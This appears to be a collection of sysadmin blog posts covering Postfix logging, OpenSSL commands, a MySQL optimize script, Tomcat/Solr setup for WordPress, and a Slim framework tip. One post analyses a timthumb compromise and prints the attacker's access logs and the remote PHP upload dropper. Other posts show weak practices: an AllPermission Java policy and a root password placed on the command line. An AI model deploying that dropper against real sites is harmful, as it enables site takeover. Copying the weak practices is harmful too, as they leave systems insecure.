Category: Uncategorized

Scenario – one Linux box runs multiple Postfix instances. By default they all log to /var/log/mail.log which makes it difficult to see what’s going on without using grep and so on. The server already uses rsyslog, and Postfix is configured to specify a syslog_name to each instance.

i.e /etc/postfix-blah/main.cf contains “syslog_name = postfix-blah”

rsyslog allows you to specify filters / expressions on what is logged where. This can be done on either the program name (:programname) which corresponds to postfix’s syslog_name, or the contents of the log message (:msg) itself.

So, the easy solution is :

• Edit /etc/rsyslog.d/postfix-domains.conf and add in
• :programname, contains, "postfix-blah" -/var/log/mail-blah.log
• Restart rsyslog (/etc/init.d/rsyslogd restart).
• Watch Ubuntu moan about not using the ‘service’ command.

The leading : is important in the rsyslog rule. 

And obviously the ‘-‘ before the file path is useful for performance – so a sync isn’t called after each write.

So, it’s just a case of populating your /etc/rsyslog.d/postfix-domains.conf file with multiple lines looking like the above, but obviously different for each domain.

I keep forgetting these one line OpenSSL commands – perhaps if they are here, I’ll remember —

1. Create private key file : openssl genrsa -out server.key 2048
2. Create certificate signing request (to send to e.g. GoDaddy) – openssl req -new -key server.key -out server.csr 
3. Verify a certificate – openssl verify file.name
4. To convert a .crt (base64 encoded) and .key file into a .pem file – just cat them together – cat something.crt something.key > something.pem

 

Our work server seems to enjoy crashing (at the moment) about once a day – but when I go to look at the console I can’t see anything because the screen has dimmed to black – and as the computer has locked up, I can’t wake the screen up to see if there is a useful kernel panic message.

It turns out my answer lies with /etc/console-tools/config – as this is Debian Squeeze.

See http://serverfault.com/questions/137728/how-do-i-permanently-disable-linuxs-console-screen-saver-system-wide

Next up, I just needed to stop it from dimming the console font – adding this to /etc/rc.local seems to help :

setterm -half-bright off

I’ve written the below Python script to defragment MySQL database tables. This should work with both InnoDB and MyISAM table formats, and is just calling “OPTIMIZE TABLE blah.foo”. It rummages through the information_schema for tables which may be defragmented.

You should be able to run it on any Debian based system without making any alterations.

 

#!/usr/bin/env python
import ConfigParser
import os
import time

# On Debian, /etc/mysql/debian.cnf contains 'root' a like login and password.
config = ConfigParser.ConfigParser()
config.read("/etc/mysql/debian.cnf")
username = config.get('client', 'user')
password = config.get('client', 'password')
hostname = config.get('client', 'host')

defragmented_tables_cmd="mysql -u %s -p%s -h %s --skip-column-names --batch  -e 'SELECT TABLE_SCHEMA, TABLE_NAME, Data_free FROM information_schema.TABLES WHERE Data_free > 1000'" % (username, password, hostname)

# This will explode if any databases or tables have spaces in their names.
for dbtable in os.popen(defragmented_tables_cmd).readlines():
    (database,table,space_free) = dbtable.split(None)
    print " Defragmenting database : %s, table: %s, space free: %s " % (database, table, space_free)
    os.popen("mysql --batch -u %s -p%s -h %s -e 'OPTIMIZE TABLE %s' " % (username, password, hostname, database + '.' + table))

Having written this, I don’t think it does any more than “mysqloptimize –all-databases”, althoug you could make the above run selectively (i.e. only on certain databases / table formats / disk free amounts ).

My son woke up at 6am crying quite loudly this morning – he’d been having a nightmare involving a Chocolate Headed Pirate being mean and nasty to him.

Personally I think a chocolate headed pirate would be quite tasty – although perhaps it’d be a bit more than I could eat in one sitting (or one week),  however, just like I don’t really understand his fear of Mr Choco Pirate, I’m sure there are many things I’m afraid of which he’d find funny.

Oh, the joys of childhood!

I’m currently refactoring some legacy third party PHP code, and as the old saying goes, the real metric is WTFs per minute.

So, just to entertain any readers, how about :

1. Writing pagination links for a search form, but if there are more than 20 pages of results, add 20 onto whatever the maximum number of pages there are – so you get 20 invalid links at the end of the pagination list (clicking on them will show no results). I guess it looks like there are lots of results at least.
2. if(isset($_GET[‘foo’]) == 0) … (wouldn’t if(!isset($_GET[‘foo’]) be easier to read?).
3. Presumably not knowing what a while(…) { … } loop is, and always using something like: $row = mysql_fetch_assoc($x); do { … } while ($row = mysql_fetch_assoc($x)) ….
4. Always including mysql_free_result($foo) after every query…. why bother?
5. Always having an //END IF comment, even if the if(..) { } statement is only 3 lines long.
6. The write_out_the_header() function which consists of a switch statement nearly 2900 lines long, which is just responsible for setting things like the <title> and some meta tags for every page in the site.
7. When doing results pagination, for even numbered page links, write out the ‘jump’ URL differently (starting with a &, instead of a ?). Some numbers are more even/equal than others…. I guess.
8. Executing a separate query each time within a loop rather than doing a simple join to start with….

This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see github ).

Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream solr-for-wordpress wordpress plugin, hence we can’t use it).

Install Tomcat (and Java)

apt-get install sun-java6-jre

Edit /etc/profile and set a JAVA_HOME – so add in something like :

# Setup Jave environment 6
export PATH=$PATH:/usr/lib/jvm/java-6-sun/bin
export JAVA_HOME=/usr/lib/jvm/java-6-sun
export JRE_HOME=/usr/lib/jvm/java-6-sun/jre

And then do :

. /etc/profile

So those settings are set / present within your environment (or logout and back in).

Next, install Tomcat :

apt-get install tomcat5.5

and then

apt-get install tomcat5.5-admin

Configure Tomcat

Edit /etc/tomcat5.5/tomcat-users.xml and define your own user; for the -admin apps you’ll need to give the user a role of admin and manager.

e.g.

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
  <role rolename="manager"/>
  <role rolename="tomcat"/>
  <role rolename="admin"/>
  <role rolename="role1"/>
  <user username="palepurple" password="letmein" roles="admin,manager,tomcat"/>
</tomcat-users>

And then restart Tomcat. You should now be able to visit http://yourserver:8180/admin and see a login screen.

In my case, I also edited /etc/tomcat5.5/server.xml to disable the AJP connector on port 8009 and also to tell the remaining connector (port 8180) to listen only on 127.0.0.1. To connect to the admin interface, I just use SSH port forwarding from my desktop – this is just to improve security.

Finally, it seems necessary to grant permission for Java to log to /var/log/tomcat5.5… .a dirty way of achieving this is to edit :

/etc/java-6-sun/security/java.policy

and add in (near the top)

grant {
	permission java.security.AllPermission;
};

(Yes, I know this is a bit like doing chmod -R 777 on a filesystem or something; but in my case Solr is running only on localhost, so I think it’s an acceptable fix; I’m sure Google can provide more eloquent fixes.).

 

Installing Solr

Download; unpack and install .war file :

cd /root

wget http://www.apache.org/dist/lucene/solr/3.4.0/apache-solr-3.4.0.tgz

tar -zxf apache-solr-3.4.0.tgz

cp apache-solr-3.4.0/dist/apache-solr-3.4.0.war /var/lib/tomcat5.5/webapps

If you now restart Solr, you’ll find some log files and stuff of use in /var/log/tomcat5.5 – looking in the catalina log file there you’ll see it moaning about not finding solrconfig.xml and so on. To fix this –

cp -a apache-solr-3.4.0/example/solr /var/lib/tomcat5.5/

And edit /etc/default/tomcat55 to contain :

export JAVA_OPTS="$JAVA_OPTS -Dsolr.solr.home=/var/lib/tomcat5.5/solr"

This tells Solr where to find it’s configuration and so on.

Then edit :

/var/lib/tomcat5.5/solr/conf/solrconfig.xml and fix the file paths to the various .jar files included – so in my case (you might want to copy them out of the apache-solr-3.4.0 dir and into /var/lib/tomcat5.5/solr/lib perhaps) – part of the solrconfig.xml is below :

  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/extraction/lib" />
  <!-- When a regex is specified in addition to a directory, only the
       files in that directory which completely match the regex
       (anchored on both ends) will be included.
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-cell-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-clustering-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-dataimporthandler-\d.*\.jar" />

  <!-- If a dir option (with or without a regex) is used and nothing
       is found that matches, it will be ignored
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/clustering/lib/" />

Next create the data directory for solr to use :

mkdir /var/lib/tomcat5.5/solr/data

chown tomcat55 /var/lib/tomcat5.5/solr/data

And restart tomcat.

At this point you should be able to visit :

http://localhost:8180/apache-solr-3.4.0/admin/

If it fails, check out /var/log/tomcat5.5/*catalina.log* or /var/log/daemon.log

WordPress stuff

cd /path/to/wordpress/wp-content/plugins

git clone https://github.com/mattweber/solr-for-wordpress.git

cp solr-for-wordpress/schema.xml /var/lib/tomcat5.5/solr/conf/

<<restart tomcat again; /etc/init.d/tomcat5.5. restart >>

Now you just need to enable the plugin from within wordpress and tell wordpress to index your posts and you’re off.

1.  Enable plugin
2. Goto settings -> solr options -> select single server; tell it to use localhost, port 8180 and under the path ‘/apache-solr-3.4.0’
3.  Perform the ‘server ping’ check; and then tell WordPress you want to index your pages/posts etc as you see fit.

It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm}

A customer’s web server has the following requests in it :

[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"

_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.

Making a request to superflickr.com.nu shows  :

$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;<?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?>;

Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :

$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);

But it’s check is somewhat flawed –

                        
foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}

Hence, superflickr.com.nu escapes through, as it contains the string ‘flickr.com’.

And then, because it performs an ‘md5’ of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the ‘cache’ directory would have solved this.

Alternatively the developers could have bothered to check the extension of the URL being retrieved….

The SlimFramework is a ‘minimal’ PHP5 framework. We’re using it in one project, integrating with Smarty, Propel and the Zend Framework (as I don’t like Zend_View, it didn’t seem worth using Zend_Controller_Action, although what we do have is very similar to one).

Anyway, when creating your front controller in Slim, you can define ‘middleware‘ (i.e. call back functions) which are executed when a route matches and runs – before your actual ‘controller’ code.

So for example, a simple route would look like :

Slim::get('/route/path/to/match', function() { echo "some output goes here"; }; );

With additional ‘middleware’ it could look like :

Slim::get('/routeh/path/to/match', $caching_middleware, $authentication_check, function() { echo "some output goes here";}; );

(Obviously in a real application you wouldn’t have echo statements in the front controller class)

The $caching_middleware could look like :

$cache_it = function () {
    $cache = Zend_Cache::factory('Page', 'File',
        array('debug_header' => true,
              'default_options' => array('cache' => true,
                                         'cache_with_get_parameters' => false,
                                         'cache_with_session_variables' => true,
                                         'cache_with_cookie_variables' => true),
        ));
    $cache->start();
};

(I’ve left the debug_header in, so it’s obvious when it’s working 🙂 ).

And $authentication_check is another call back – this time presumably checking $_SESSION for something….